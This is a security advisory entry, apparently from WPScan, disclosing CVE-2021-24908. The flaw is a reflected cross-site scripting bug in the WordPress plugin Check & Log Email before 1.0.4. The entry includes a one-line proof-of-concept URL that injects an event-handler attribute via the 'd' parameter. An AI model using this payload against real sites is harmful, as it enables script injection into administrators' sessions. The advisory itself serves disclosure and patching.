WordPress Plugin Vulnerabilities

Check & Log Email < 1.0.4 - Reflected Cross-Site Scripting

Description

The plugin does not escape the d parameter before outputting it back in an attribute, leading to a Reflected Cross-Site Scripting

Proof of Concept

With the "Enable Logs" setting activated: https://example.com/wp-admin/admin.php?page=check-email-logs&d="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//

Affects Plugins

check-email

Fixed in version 1.0.4

References

CVE

CVE-2021-24908

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

Miscellaneous

Original Researcher

ZhongFu Su(JrXnm) of Wuhan University

Submitter

ZhongFu Su(JrXnm) of Wuhan University

Submitter website

https://blog.szfszf.top

Submitter twitter

JrXnm

Verified

Yes

WPVDB ID

77f50129-4b1f-4e50-8321-9dd32deba6e1

Timeline

Publicly Published

2021-11-01 (about 1 years ago)

Added

2021-11-01 (about 1 years ago)

Last Updated

2022-09-26 (about 4 months ago)

Our Other Services

WPScan WordPress Security Plugin